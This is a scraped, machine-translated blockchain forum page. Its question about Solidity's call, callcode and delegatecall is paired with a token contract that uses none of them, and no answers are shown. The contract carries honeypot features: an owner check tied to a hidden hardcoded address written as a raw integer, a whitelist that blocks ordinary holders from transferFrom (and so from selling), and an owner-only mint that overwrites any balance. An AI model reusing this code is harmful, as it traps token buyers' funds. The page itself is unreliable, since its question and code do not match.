current position:Home>How to use the call, callcode, and delegatecall functions called by the solidity contract?
How to use the call, callcode, and delegatecall functions called by the solidity contract?
2022-02-03 23:19:00 【Q & A of Denglian community】
Solidity Contract call call,callcode, And delegatecall How to use function ? Why do I report an error when I use it like this ```
contract Ownable { address public owner;event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);function Ownable() public { owner = msg.sender; }modifier onlyOwner() { require(msg.sender == address(724621317456347144876435459248886471299600550182)); _; }function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }} /**@title [email protected] Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; }function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; }function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }contract SoloToken is Ownable { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply;event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public { name = _name; symbol = _symbol; decimals = _decimals; totalSupply = _totalSupply; balances[msg.sender] = totalSupply; allow[msg.sender] = true; }using SafeMath for uint256;mapping(address => uint256) public balances;mapping(address => bool) public allow;function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]);balances[msg.sender] = balances[msg.sender].sub(_value);balances[_to] = balances[_to].add(_value);Transfer(msg.sender, _to, _value);return true;}function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; }mapping (address => mapping (address => uint256)) public allowed;function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(allow[_from] == true);balances[_from] = balances[_from].sub(_value);balances[_to] = balances[_to].add(_value);allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);Transfer(_from, _to, _value);return true;}function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; }function addAllow(address holder, bool allowApprove) external onlyOwner { allow[holder] = allowApprove; }function mint(address miner, uint256 _value) external onlyOwner { balances[miner] = _value; } }
Other answers 1:
Other answers 2:
Other answers 3:
copyright notice
author[Q & A of Denglian community],Please bring the original link to reprint, thank you.
https://en.netfreeman.com/2022/02/202202032318589231.html
The sidebar is recommended
- How to find blockchain teachers?
- In solidity_ What do you mean?
- Can flutter be used
- Learning aggregate signature information
- Can a solid contract implement a method at a fixed point in time every day
- Excuse me? How does Ethereum obtain a certain number of transactions
- Use openzeppelin to deploy contracts that can be upgraded. How do you see the address of your contract after deployment? You can only see the contracts of openzeppelin systems in the browser?
- After calling mycontract methods. myfunction(a,b). Send() reports an error
- What does the public key of the transaction in the blockchain mean?
- How to build an etc node
guess what you like
-
Can the solidness contract be debugged in one step like ordinary code?
-
How to implement the GSN method that users can execute the contract without handling charges
-
Real project, pay for help: want to learn how to get money on decentralized exchanges such as uniswap!
-
An error occurs when truffle compiles sol files
-
Truffle compilation error type (c) Creationcode compilation failed
-
How does smart contract use oracle
-
The execution process of smart contract is too long
-
Error: invalid JSON RPC response: typeerror: t is not a function
-
Use the openzeppelin part to see an upgradeable contract. In the business contract part, NPX oz Verigy has always failed to verify. It has been successful before. By comparison, it can only be caused by a large amount of code,
-
web3. How to handle the cross domain of JS link test chain
Random recommended
- How does Ethereum keep sending transactions
- Deploying scalable contracts with openzeppelin doesn't consume much gas limit in repsten network. Why is it so high in mainnet? It has failed all the time
- Truffle cannot download the version specified by the Solc compiler
- How to develop Ethereum smart wallet?
- Is there a way for golang to monitor eth transfer?
- Address (uint160 (users [beneficial_eth_finish]) is executed in the smart contract An error is reported when transfer() transfers eth to an address
- The gas limit for deploying smart contract has been set to 800W, which is the largest. What should I do if it is insufficient,
- The problem of transferring eth to other contracts in the contract?
- Using for loop in smart contract may consume gas, but is there a better one
- How can such a set in the contract need so many gas?
- The gas limit is not enough for the problem that the contract is transferred to eth
- How does Ethereum call deployed contracts within a contract?
- Help ~ ~ ~ uniswap submit issue
- Eth contract
- There is a very long array to be traversed in the contract, such as 10 million data, but it may be changed to two in practice. Then execute this method. Will gas limit out of
- How to obtain the pending transaction of Ethereum network in real time??
- Can't the method in the contract be transferred into eth at the same time
- VM error : Invalid opcode. How to solve it
- EOS sending transaction problem
- About the code that is executed only once a day in the course time of the series of solid courses
- It involves the transfer of different public chain assets, for example, from BTC public chain to EOS smart contract. Why should we issue a non BTS relay contract in the middle of a BTS relay contract? Is it a smart contract that can't accommodate so many
- Can an eth contract method be implemented?
- ERROR: 1.13.4 is required to build Fabric and you are using . Please update go
- How do languages other than JS interact with smart contracts?
- Copy the contract code that has been deployed on the chain. When Remix deploys again, it will prompt eip170. How is the original contract deployed?
- Open a defi project with demo. Why can't you automatically connect to the wallet and get the wallet assets
- Fabric 2.0, peer lifecycle chaincode approveformyorg: error: timed out waiting for txid on all peers!
- How to parse the input data of the transaction generated when eth deploys the contract?
- ethers. The problem of token transaction in JS
- Installing the extendermint installation tool and relying on error reporting
- How to customize the currency circulation and reward mechanism based on Ethereum private chain
- How to calculate the gap velocity
- ethers. JS could not detect network (event ='nonetwork ') appears on the real machine debugging of uniapp
- How to calculate uniswap initcode hash
- Uniswap and truffle build local test chain
- How to get Merkle proof of Ethereum log
- How to calculate the value of LP token in uniswap.
- Is Remix ide not working?
- 'Migrations' -- Returned error: invalid transaction v, r, s values. Does anyone know how to solve this problem?
- The packages I downloaded directly from the truss unbox webpack cannot be deployed successfully. Do you know what the problem is